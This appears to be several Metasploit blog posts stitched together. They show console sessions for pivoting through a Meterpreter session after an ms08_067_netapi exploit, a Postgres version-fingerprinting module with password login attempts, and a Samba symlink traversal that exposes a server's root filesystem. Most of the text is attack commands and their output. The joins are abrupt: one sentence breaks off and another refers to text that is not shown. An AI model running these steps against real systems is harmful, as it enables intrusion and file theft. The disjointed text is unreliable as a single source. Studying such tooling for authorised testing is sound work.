Among the coolest features in metasploit is the ability to pivot through a meterpreter session to the network on the other side. The route command in msfconsole sets this up but requires a bit of typing to get right.
[*] Meterpreter session 1 opened (10.1.1.1:4444 -> 10.1.1.128:1238)
meterpreter > run get_local_subnets
Local subnet: 10.1.1.0/255.255.255.0
meterpreter > background
msf exploit(ms08_067_netapi) > route add 10.1.1.0 255.255.255.0 1
msf exploit(ms08_067_netapi) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.1.1.0 255.255.255.0 Session 1
msf exploit(ms08_067_netapi) >
After running the above commands any traffic sent to addresses in the 10.1.1.0 network will be tunnelled through the session. As part of my Blackhat DC presentation last week, I demo'd a plugin that automatically adds a route for any previously-unseen subnets when a new session opens up. Here is some example usage and output:
msf exploit(ms08_067_netapi) > load auto_add_route
[*] Successfully loaded plugin: auto_add_route
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 10.1.1.1:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (725504 bytes)
[*] Meterpreter session 1 opened (10.1.1.1:4444 -> 10.1.1.128:1239)
[*] AutoAddRoute: Routing new subnet 10.1.1.0/255.255.255.0 through session 1
meterpreter > background
msf exploit(ms08_067_netapi) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.1.1.0 255.255.255.0 Session 1
msf exploit(ms08_067_netapi) >
The auto_add_route plugin is now available in the metasploit trunk; 'svn up' to get it.
Postgres Fingerprinting update. The module looks something like this:
msf auxiliary(postgres_version) > set verbose true
verbose => true
msf auxiliary(postgres_version) > run
[*] 192.168.145.50:5432 Postgres - Trying username:'postgres' with password:'?dsx)S' against 192.168.145.50:5432 on database 'template1'
[+] 192.168.145.50:5432 Postgres - Version 8.4.2 (Pre-Auth)
[*] 192.168.145.50:5432 Postgres - Disconnected
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
As mentioned at the top, if you do happen to have login credentials, you can always use those instead:
msf auxiliary(postgres_version) > set username scott
username => scott
msf auxiliary(postgres_version) > set password tiger
password => tiger
msf auxiliary(postgres_version) > run
[*] 192.168.145.50:5432 Postgres - Trying username:'scott' with password:'tiger' against 192.168.145.50:5432 on database 'template1'
[*] 192.168.145.50:5432 Postgres - querying with 'select version()'
[+] 192.168.145.50:5432 Postgres - Command complete.
[+] 192.168.145.50:5432 Postgres - Logged in to 'template1' with 'scott':'tiger'
[+] 192.168.145.50:5432 Postgres - Version 8.4.2 (Post-Auth)
[*] 192.168.145.50:5432 Postgres - Disconnected
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
We've collected a few signatures so far; we can reliably identify pretty much all of the straight Linux builds of Postgres from 7.4.26 through 8.4.2, as well as the latest Windows build. So, in the event you run into a version/platform combination of Postgres that we haven't accounted for yet, the module will display and log the relevant signature data for an easy copy-paste. Feel free to let us know about it so we can package it up. In the meantime, I'm off to hunt down some more Postgres installs.
Lucky for unauthenticated types, it turns out that Postgres is pretty forthcoming in its authentication failure messages. Take this example response to a failed login attempt:
0000 45 00 00 00 61 53 46 41 54 41 4c 00 43 32 38 30 E...aSFATAL.C280
0010 30 30 00 4d 70 61 73 73 77 6f 72 64 20 61 75 74 00.Mpassword aut
0020 68 65 6e 74 69 63 61 74 69 6f 6e 20 66 61 69 6c hentication fail
0030 65 64 20 66 6f 72 20 75 73 65 72 20 22 70 6f 73 ed for user "pos
0040 74 67 72 65 73 22 00 46 61 75 74 68 2e 63 00 4c tgres".Fauth.c.L
0050 32 37 33 00 52 61 75 74 68 5f 66 61 69 6c 65 64 273.Rauth_failed
0060 00 00 ..
This tells us that an error (E) was encountered related to the source file (F) auth.c, on line (L) 273, in the routine (R) auth_failed. From here, it's pretty easy to guess what happens when Postgres has a new release -- usually, things like line counts tend to change. That means we can use this error code as a handy fingerprint for pretty much every minor version release of Postgres: The above comes from version 8.4.2, but on 8.4.1, the line number is 258, it's 1017 in 8.3.9, et cetera. These differences go back at least as far as Postgres 7.4.
Metasploit (as of this morning) now supports Postgres enumeration using this technique. Check it out with a quick
A Metasploit auxiliary module has been added to verify and test this vulnerability. Update to SVN revision 8369 or newer and start up the Metasploit Console:
$ msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.0.2
msf auxiliary(samba_symlink_traversal) > set SMBSHARE shared
msf auxiliary(samba_symlink_traversal) > set SMBTARGET rooted
msf auxiliary(samba_symlink_traversal) > run
[*] Connecting to the server...
[*] Trying to mount writeable share 'shared'...
[*] Trying to link 'rooted' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*] //192.168.0.2/shared/rooted/
Keep in mind that non-anonymous shares can be used as well, just enter SMBUser and SMBPass for a valid user account.
